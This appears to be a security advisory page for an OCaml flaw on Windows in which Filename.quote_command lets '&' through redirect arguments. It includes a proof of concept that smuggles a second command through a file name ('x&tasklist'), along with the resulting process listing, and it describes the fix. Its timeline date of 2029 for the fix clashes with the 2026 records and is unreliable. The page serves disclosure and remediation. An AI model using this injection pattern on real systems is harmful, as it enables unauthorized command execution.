CVE-2026-41083
JSON

6.1medium

Windows command execution via filename quotes.

Severity
6.1medium CVSS:3.1 by OCaml Security Advisories
Published
Last changed
Also known as
OSEC-2026-05OSEC-2026-24

Description

The quoting of stdin/stdout/stderror (using Filename.quote_command) on Windows is not sufficient, and allows the & character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.

Exploit

$ opam exec -- ocaml
OCaml version 4.14.2
Enter #help;; for help.

# let outfile = "x&tasklist" in
  let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in
  ignore (Sys.command cmd)
  ;;

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        168 K
Secure System                  236 Services                   0    191,468 K
Registry                       276 Services                   0      3,428 K
smss.exe                       608 Services                   0      1,676 K
csrss.exe                      984 Services                   0      5,928 K

Timeline

Affected

Product or packageVersionsReported by
ocaml (opam)before 4.14.4, from 5.0.0 before 5.5.0, before 4.14.5, from 5.0.0 before 5.5.2OCaml Security Advisories
https://github.com/ocaml/ocamlbefore ce6d0f7b67145debec57e296dcc49d8619259198, before 39d3f110eab62ab9f3013bb5f084af2dc3e3bb08, before d5c65dc0034fbd75f10c6b54028e8b2740a7b189, before 70a3a75c0bfb23d67ad5fe3e9c1ba9800d61feae, before 0bbf8e5af985feb03a11a5ffe57d068373d09fd0, before 7a2a148bd17158c822235b29b024526629154901OCaml Security Advisories

All scores

OCaml Security Advisories6.1medium CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
OCaml Security AdvisoriesNot scored CVSS:4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

What each source says

OCaml Security Advisories

The quoting of stdin/stdout/stderror (using Filename.quote_command) on Windows is not sufficient, and allows the & character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.

Exploit

$ opam exec -- ocaml
OCaml version 4.14.2
Enter #help;; for help.

# let outfile = "x&tasklist" in
  let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in
  ignore (Sys.command cmd)
  ;;

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        168 K
Secure System                  236 Services                   0    191,468 K
Registry                       276 Services                   0      3,428 K
smss.exe                       608 Services                   0      1,676 K
csrss.exe                      984 Services                   0      5,928 K

Timeline

OCaml Security Advisories

ANT-2026-R7FKP7RG Win32 quote_cmd_filename misses pipe/redirect metacharacters

ANT-2026-SRZZ62SD Windows batch-file argument injection via maybe_quote/make_cmdline

ANT-2026-JPEWMPAB Win32 argument quoting leaves embedded CR/LF unescaped

Also includes the fix for OSEC-2026-05

Filename.quote_command returns a quoted command line, suitable for use as an argument to Sys.command, Unix.system, and the Unix.open_process functions. However on Windows certain characters weren't properly escaped.

Unix.create_process can invoke .bat or .cmd programs on Windows, and certain characters were accepted that cannot be quoted safely.

Fix

Filename.quote_command has been updated to correctly quote arguments. Unix.create_process* has been updated to reject arguments that cannot be safely quoted by raising Failure:

if the program [prog] is a [.bat] or [.cmd] script and either [prog] or [args] contain characters that cannot be securely passed to a script, such as [" | & , ; < = > ^ % "]. If you really need to pass these characters to a script, consider using {!Unix.system} instead.

Am I affected?

If you use Filename.quote_command on Windows with user supplied arguments. If you use Unix.create_process* or Unix.open_process* on Windows with .bat or .cmd programs, and user supplied arguments.

Timeline

  • 2026-08-24: vulnerability was found
  • 2026-08-27: forwarded report to security@ocaml.org
  • 2029-09-05: fix merged to trunk

References

Sources

SourceRecordLicence
OCaml Security AdvisoriesOSEC-2026-05 changed 2026-11-17CC0-1.0
OCaml Security AdvisoriesOSEC-2026-24 changed 2026-11-17CC0-1.0

The CVE List record for this identifier has not been ingested yet. View it at cve.org.